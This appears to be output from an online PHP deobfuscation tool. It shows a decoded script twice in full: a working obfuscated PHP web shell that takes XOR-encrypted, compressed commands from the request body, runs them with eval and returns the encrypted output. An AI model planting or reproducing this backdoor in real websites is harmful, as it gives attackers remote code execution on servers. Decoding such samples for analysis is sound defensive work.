Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$k="f4eb27ce";$kh="a7255cea4d1f";$kf="fabf593372e8";$p="kphtlfweXTAdjKkP";function x($t,$k..
Decoded Output download
<? $k="f4eb27ce";$kh="a7255cea4d1f";$kf="fabf593372e8";$p="kphtlfweXTAdjKkP";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) { @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");} ?>
Did this file decode correctly?
Original Code
$k="f4eb27ce";$kh="a7255cea4d1f";$kf="fabf593372e8";$p="kphtlfweXTAdjKkP";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) { @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");}
Function Calls
| preg_match | 1 |
| file_get_contents | 1 |
Stats
| MD5 | f8d9a1b6a007e6f4d5d70b2747b7292e |
| Eval Count | 0 |
| Decode Time | 89 ms |